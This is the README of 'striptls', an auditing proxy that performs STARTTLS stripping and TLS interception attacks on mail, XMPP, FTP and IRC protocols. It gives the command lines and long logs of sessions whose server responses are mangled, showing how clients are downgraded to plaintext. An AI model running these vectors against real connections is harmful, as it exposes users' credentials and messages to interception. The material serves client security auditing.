proxy poc implementation of STARTTLS stripping attacks
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README.md

STRIPTLS

striptls - auditing proxy

poc implementation of STARTTLS stripping attacks

A generic tcp proxy implementation and audit tool to perform protocol independent ssl/tls interception and STARTTLS stripping attacks on SMTP, POP3, IMAP, FTP, NNTP, XMPP, ACAP and IRC.

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Requires:
  • Python >= 2.7.9 (SSLContext)
  • (optional for tls interception) Certificate and PrivateKey in PEM format (single file) --key=server.pem

Vectors

  • GENERIC
  • Intercept - protocol independent ssl/tls interception. peeks for TLS Handshake, converts socket to tls (tls-to-tls proxy)
  • InboundIntercept - protocol independent ssl/tls interception for the inbound channel only (tls-to-plain proxy)
  • SMTP
  • SMTP.StripFromCapabilities - server response capability patch
  • SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response code
  • SMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)
  • SMTP.StripWithTemporaryError
  • SMTP.StripWithError
  • SMTP.ProtocolDowngradeStripExtendedMode
  • SMTP.InjectCommand
  • SMTP.InboundStarttlsProxy - (starttls-to-plain proxy)
  • POP3
  • POP3.StripFromCapabilities
  • POP3.StripWithError
  • POP3.UntrustedIntercept
  • IMAP
  • IMAP.StripFromCapabilities
  • IMAP.StripWithError
  • IMAP.UntrustedIntercept
  • IMAP.ProtocolDowngradeToV2
  • FTP
  • FTP.StripFromCapabilities
  • FTP.StripWithError
  • FTP.UntrustedIntercept
  • NNTP
  • NNTP.StripFromCapabilities
  • NNTP.StripWithError
  • NNTP.UntrustedIntercept
  • XMPP
  • XMPP.StripFromCapabilities
  • XMPP.StripInboundTLS
  • XMPP.UntrustedIntercept
  • ACAP (untested)
  • ACAP.StripFromCapabilities
  • ACAP.StripWithError
  • ACAP.UntrustedIntercept
  • IRC
  • IRC.StripFromCapabilities
  • IRC.StripWithError
  • IRC.UntrustedIntercept
  • IRC.StripWithNotRegistered
  • IRC.StripCAPWithNotregistered
  • IRC.StripWithSilentDrop

Results:

- [*] client: 127.0.0.1
-     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
-     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
-     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>
-     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>
- [*] client: 192.168.139.1
-     [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
-     [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
-     [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>

Usage

#> python -m striptls --help    # from pip/setup.py
#> python striptls --help       # from source / root folder
Usage: striptls.py [options]

       example: striptls.py --listen 0.0.0.0:25 --remote mail.server.tld:25


Options:
  -h, --help            show this help message and exit
  -q, --quiet           be quiet [default: True]
  -l LISTEN, --listen=LISTEN
                        listen ip:port [default: 0.0.0.0:<remote_port>]
  -r REMOTE, --remote=REMOTE
                        remote target ip:port to forward sessions to
  -k KEY, --key=KEY     SSL Certificate and Private key file to use, PEM
                        format assumed [default: server.pem]
  -s, --generic-ssl-intercept
                        dynamically intercept SSL/TLS
  -b BUFFER_SIZE, --bufsiz=BUFFER_SIZE
  -x VECTORS, --vectors=VECTORS
                        Comma separated list of vectors. Use 'ALL' (default)
                        to select all vectors, 'NONE' for tcp/ssl proxy mode.
                        Available vectors: ACAP.StripFromCapabilities,
                        ACAP.StripWithError, ACAP.UntrustedIntercept,
                        FTP.StripFromCapabilities, FTP.StripWithError,
                        FTP.UntrustedIntercept, GENERIC.Intercept,
                        IMAP.ProtocolDowngradeToV2,
                        IMAP.StripFromCapabilities, IMAP.StripWithError,
                        IMAP.UntrustedIntercept,
                        IRC.StripCAPWithNotRegistered,
                        IRC.StripFromCapabilities, IRC.StripWithError,
                        IRC.StripWithNotRegistered, IRC.StripWithSilentDrop,
                        IRC.UntrustedIntercept, NNTP.StripFromCapabilities,
                        NNTP.StripWithError, NNTP.UntrustedIntercept,
                        POP3.StripFromCapabilities, POP3.StripWithError,
                        POP3.UntrustedIntercept, SMTP.InboundStarttlsProxy,
                        SMTP.InjectCommand,
                        SMTP.ProtocolDowngradeStripExtendedMode,
                        SMTP.StripFromCapabilities, SMTP.StripWithError,
                        SMTP.StripWithInvalidResponseCode,
                        SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,
                        XMPP.StripFromCapabilities, XMPP.StripInboundTLS,
                        XMPP.UntrustedIntercept [default: ALL]

Install (optional)

from pip

#> pip install striptls

from source

#> setup.py install

Examples

                  inbound                    outbound
[inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]
  smtp-client                   striptls                    remote/target

local smtp-client -> localhost:8825 (proxy) -> mail.gmx.net:25

Generic SSL/TLS Interception

--generic-ssl-intercept is a global switch to enable generic ssl/tls handshake detection and session conversion. Can be combined with any mangle/vector.

GENERIC.Intercept is a mangle/vector implementation of the ssl/tls handshake detect and convert feature.

# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:465 -x GENERIC.Intercept
- INFO     - <Proxy 0x1fdcf50 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 465)> ready.
- DEBUG    - * added vector (port:None , proto: GENERIC): <class __main__.Intercept at 0x0218AAB0>
- INFO     - <RewriteDispatcher ssl/tls_intercept=False vectors={None: set([<class __main__.Intercept at 0x0218AAB0>])}>
- INFO     - <Session 0x1ff00b0> client ('127.0.0.1', 8228) has connected
- INFO     - <Session 0x1ff00b0> connecting to target ('mail.gmx.com', 465)
- DEBUG    - <RewriteDispatcher  - changed mangle: __main__.Intercept new: True>
- INFO     - ProtocolDetect: SSL/TLS version: TLS_1_0
- INFO     - SSL Handshake detected - performing ssl/tls conversion
- DEBUG    - <Session 0x1ff00b0> [client] <> [      ]          SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG    - <Session 0x1ff00b0> [      ] <> [server]          SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG    - <Session 0x1ff00b0> [client] <= [server]          '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
- DEBUG    - <Session 0x1ff00b0> [client] => [server]          'hi\r\n'
- DEBUG    - <Session 0x1ff00b0> [client] <= [server]          '500 Syntax error, command unrecognized\r\n'

# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:25 -x NONE --generic-ssl-intercept
- INFO     - <Proxy 0x1efbf70 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 25)> ready.
- INFO     - <RewriteDispatcher ssl/tls_intercept=True vectors={}>
- DEBUG    - <ProtocolDetect 0x1f21b70 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO     - <Session 0x1f10110> client ('127.0.0.1', 8290) has connected
- INFO     - <Session 0x1f10110> connecting to target ('mail.gmx.com', 25)
- DEBUG    - <Session 0x1f10110> [client] <= [server]          '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
- DEBUG    - <Session 0x1f10110> [client] => [server]          'EHLO openssl.client.net\r\n'
- DEBUG    - <Session 0x1f10110> [client] <= [server]          '250-gmx.com Hello openssl.client.net [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0x1f10110> [client] => [server]          'STARTTLS\r\n'
- DEBUG    - <Session 0x1f10110> [client] <= [server]          '220 OK\r\n'
- INFO     - ProtocolDetect: SSL/TLS version: TLS_1_0
- INFO     - SSL Handshake detected - performing ssl/tls conversion
- DEBUG    - <Session 0x1f10110> [client] <> [      ]          SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG    - <Session 0x1f10110> [      ] <> [server]          SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG    - <Session 0x1f10110> [client] => [server]          'EHLO A\r\n'
- DEBUG    - <Session 0x1f10110> [client] <= [server]          '250-gmx.com Hello A [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250AUTH LOGIN PLAIN\r\n'

Audit Mode

iterates all protocol specific cases on a per client basis and keeps track of clients violating the starttls protocol. Ctrl+C to abort audit and print results.

#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
- INFO     - <Proxy 0xffcf6d0cL listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
- DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripFromCapabilities at 0xffd4632c>
- DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripWithError at 0xffd4635c>
- DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.UntrustedIntercept at 0xffd4638c>
- DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripFromCapabilities at 0xffd4626c>
- DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripWithError at 0xffd4629c>
- DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.UntrustedIntercept at 0xffd462cc>
- DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripFromCapabilities at 0xffd463ec>
- DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripWithError at 0xffd4641c>
- DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.UntrustedIntercept at 0xffd4644c>
- DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.StripWithError at 0xffd461dc>
- DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.UntrustedIntercept at 0xffd4620c>
- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripFromCapabilities at 0xffd316bc>
- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithError at 0xffd4614c>
- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithTemporaryError at 0xffd4611c>
- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.UntrustedIntercept at 0xffd4617c>
- DEBUG    - * added test (port:5222 , proto:    XMPP): <class striptls.StripFromCapabilities at 0xffd464ac>
- INFO     - <RewriteDispatcher vectors={5222: set([<class striptls.StripFromCapabilities at 0xffd464ac>]), 110: set([<class striptls.UntrustedIntercept at 0xffd4620c>, <class striptls.StripWithError at 0xffd461dc>]), 143: set([<class striptls.StripWithError at 0xffd4629c>, <class striptls.UntrustedIntercept at 0xffd462cc>, <class striptls.StripFromCapabilities at 0xffd4626c>]), 21: set([<class striptls.UntrustedIntercept at 0xffd4638c>, <class striptls.StripFromCapabilities at 0xffd4632c>, <class striptls.StripWithError at 0xffd4635c>]), 119: set([<class striptls.StripWithError at 0xffd4641c>, <class striptls.UntrustedIntercept at 0xffd4644c>, <class striptls.StripFromCapabilities at 0xffd463ec>]), 25: set([<class striptls.StripWithInvalidResponseCode at 0xffd3138c>, <class striptls.StripWithTemporaryError at 0xffd4611c>, <class striptls.StripFromCapabilities at 0xffd316bc>, <class striptls.StripWithError at 0xffd4614c>, <class striptls.UntrustedIntercept at 0xffd4617c>])}>
- DEBUG    - <ProtocolDetect 0xffcf6eccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO     - <Session 0xffcf6e4cL> client ('127.0.0.1', 28902) has connected
- INFO     - <Session 0xffcf6e4cL> connecting to target ('mail.gmx.net', 25)
- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithInvalidResponseCode new: True>
- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'STARTTLS\r\n'
- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '200 STRIPTLS\r\n'
- DEBUG    - <Session 0xffcf6e4cL> [client] => [server][mangled] None
- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '530 Authentication required\r\n'
- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'rset\r\n'
- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250 OK\r\n'
- WARNING  - <Session 0xffcf6e4cL> terminated.
- DEBUG    - <ProtocolDetect 0xffd0920cL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO     - <Session 0xffd0918cL> client ('127.0.0.1', 28905) has connected
- INFO     - <Session 0xffd0918cL> connecting to target ('mail.gmx.net', 25)
- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithTemporaryError new: True>
- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'STARTTLS\r\n'
- DEBUG    - <Session 0xffd0918cL> [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
- DEBUG    - <Session 0xffd0918cL> [client] => [server][mangled] None
- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '530 Authentication required\r\n'
- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'rset\r\n'
- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250 OK\r\n'
- WARNING  - <Session 0xffd0918cL> terminated.
- DEBUG    - <ProtocolDetect 0xffd092ecL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO     - <Session 0xffd0926cL> client ('127.0.0.1', 28908) has connected
- INFO     - <Session 0xffd0926cL> connecting to target ('mail.gmx.net', 25)
- DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>
- DEBUG    - <Session 0xffd0926cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
- DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0xffd0926cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
- WARNING  - <Session 0xffd0926cL> terminated.
- DEBUG    - <ProtocolDetect 0xffd093ccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO     - <Session 0xffd0934cL> client ('127.0.0.1', 28911) has connected
- INFO     - <Session 0xffd0934cL> connecting to target ('mail.gmx.net', 25)
- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithError new: True>
- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'STARTTLS\r\n'
- DEBUG    - <Session 0xffd0934cL> [client] <= [server][mangled] '501 Syntax error\r\n'
- DEBUG    - <Session 0xffd0934cL> [client] => [server][mangled] None
- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '530 Authentication required\r\n'
- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'rset\r\n'
- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250 OK\r\n'
- WARNING  - <Session 0xffd0934cL> terminated.
- WARNING  - Ctrl C - Stopping server
- INFO     -  -- audit results --
- INFO     - [*] client: 127.0.0.1
- INFO     -     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
- INFO     -     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
- INFO     -     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>
- INFO     -     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>

Strip STARTTLS from server capabilities

#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities
- INFO     - <Proxy 0x1fe6e70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
- INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripFromCapabilities at 0x01FE77D8>])}>
- DEBUG    - <ProtocolDetect 0x1fe6f90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO     - <Session 0x1fe6f10> client ('127.0.0.1', 20070) has connected
- INFO     - <Session 0x1fe6f10> connecting to target ('mail.gmx.net', 25)
- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG    - <Session 0x1fe6f10> [client] => [server]          'ehlo [192.168.139.1]\r\n'
- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0x1fe6f10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
- DEBUG    - <Session 0x1fe6f10> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '530 Authentication required\r\n'
- DEBUG    - <Session 0x1fe6f10> [client] => [server]          'rset\r\n'
- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250 OK\r\n'
- WARNING  - <Session 0x1fe6f10> terminated.

Invalid STARTTLS response code

#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode
- INFO     - <Proxy 0x1fefe70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
- INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripWithInvalidResponseCode at 0x02010730>])}>
- DEBUG    - <ProtocolDetect 0x1feff90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO     - <Session 0x1feff10> client ('127.0.0.1', 20061) has connected
- INFO     - <Session 0x1feff10> connecting to target ('mail.gmx.net', 25)
- DEBUG    - <Session 0x1feff10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG    - <Session 0x1feff10> [client] => [server]          'ehlo [192.168.139.1]\r\n'
- DEBUG    - <Session 0x1feff10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0x1feff10> [client] => [server]          'STARTTLS\r\n'
- DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '200 STRIPTLS\r\n'
- DEBUG    - <Session 0x1feff10> [client] => [server][mangled] None
- DEBUG    - <Session 0x1feff10> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
- DEBUG    - <Session 0x1feff10> [client] <= [server]          '530 Authentication required\r\n'
- DEBUG    - <Session 0x1feff10> [client] => [server]          'rset\r\n'
- DEBUG    - <Session 0x1feff10> [client] <= [server]          '250 OK\r\n'
- WARNING  - <Session 0x1feff10> terminated.

Untrusted SSL Intercept (for clients not checking server cert trust)

#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept
- INFO     - <Proxy 0x1f468f0 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
- INFO     - <RewriteDispatcher attacks={25: set([<class __main__.UntrustedIntercept at 0x01F45298>])}>
- DEBUG    - <ProtocolDetect 0x1f46a10 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO     - <Session 0x1f46990> client ('127.0.0.1', 20238) has connected
- INFO     - <Session 0x1f46990> connecting to target ('mail.gmx.net', 25)
- DEBUG    - <Session 0x1f46990> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
- DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'
- DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'
- DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] '220 Go ahead\r\n'
- DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] waiting for inbound SSL Handshake
- DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'
- DEBUG    - <Session 0x1f46990> [client] => [server][mangled] performing outbound SSL handshake
- DEBUG    - <Session 0x1f46990> [client] => [server][mangled] None
- DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'
- DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250 AUTH LOGIN PLAIN\r\n'
- DEBUG    - <Session 0x1f46990> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
- DEBUG    - <Session 0x1f46990> [client] <= [server]          '530 Authentication required\r\n'
- DEBUG    - <Session 0x1f46990> [client] => [server]          'rset\r\n'
- DEBUG    - <Session 0x1f46990> [client] <= [server]          '250 OK\r\n'
- WARNING  - <Session 0x1f46990> terminated.

XMPP Audit Trail

Example: Pidgin with optional transport security.

XMPP.StripInboundTLS - Inbound Plain - Outbound TLS - in case server requires starttls

    python striptls --listen 0.0.0.0:5222 --remote jabber.ccc.de:5222 -k ../server.pem
    - INFO     - <Proxy 0x7f08322ba310 listen=('0.0.0.0', 5222) target=('jabber.ccc.de', 5222)> ready.
    ...
    - DEBUG    - <ProtocolDetect 0x7f083196a810 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
    ...
    - INFO     - <Session 0x7f083196a7d0> client ('192.168.139.1', 56888) has connected
    - INFO     - <Session 0x7f083196a7d0> connecting to target ('jabber.ccc.de', 5222)
    - DEBUG    - <Session 0x7f083196a7d0> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
    - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripInboundTLS new: True>
    - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13821701589972978594' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
    - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
    - DEBUG    - <Session 0x7f083196a7d0> [client] => [server][mangled] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
    - DEBUG    - <Session 0x7f083196a7d0> [client] => [server][mangled] performing outbound SSL handshake
    - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
    - DEBUG    - <Session 0x7f083196a7d0> [client] => [server]          "<iq type='get' id='purple9f914f80'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
    - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13515446948282835507' from='jabber.ccc.de' xml:lang='en'>"
    - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<stream:error><invalid-namespace xmlns='urn:ietf:params:xml:ns:xmpp-streams'></invalid-namespace></stream:error>"
    - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          '</stream:stream>'
    - WARNING  - <Session 0x7f083196a7d0> terminated.

XMPP.StripFromCapabilities - strip starttls server annoucement

    - DEBUG    - <ProtocolDetect 0x7f083196a990 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0x7f083196a910> client ('192.168.139.1', 56890) has connected
    - INFO     - <Session 0x7f083196a910> connecting to target ('jabber.ccc.de', 5222)
    - DEBUG    - <Session 0x7f083196a910> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
    - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>
    - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='12381525525258986322' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
    - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
    - DEBUG    - <Session 0x7f083196a910> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
    - DEBUG    - <Session 0x7f083196a910> [client] => [server]          "<iq type='get' id='purplecfe2ee07'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
    - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<stream:error><policy-violation xmlns='urn:ietf:params:xml:ns:xmpp-streams'></policy-violation><text xml:lang='' xmlns='urn:ietf:params:xml:ns:xmpp-streams'>Use of STARTTLS required</text></stream:error></stream:stream>"
    - WARNING  - <Session 0x7f083196a910> terminated.

XMPP.StripUntrustedIntercept - TLS Interception inbound and outbound with own certificate/key

    - DEBUG    - <ProtocolDetect 0x7f083196aa90 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0x7f083196a8d0> client ('192.168.139.1', 56892) has connected
    - INFO     - <Session 0x7f083196a8d0> connecting to target ('jabber.ccc.de', 5222)
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
    - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.UntrustedIntercept new: True>
    - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='10051743579572304948' from='jabber.ccc.de' version='1.0' xml:lang='en'><stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
    - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server][mangled] "<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
    - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server][mangled] waiting for inbound SSL Handshake
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server][mangled] performing outbound SSL handshake
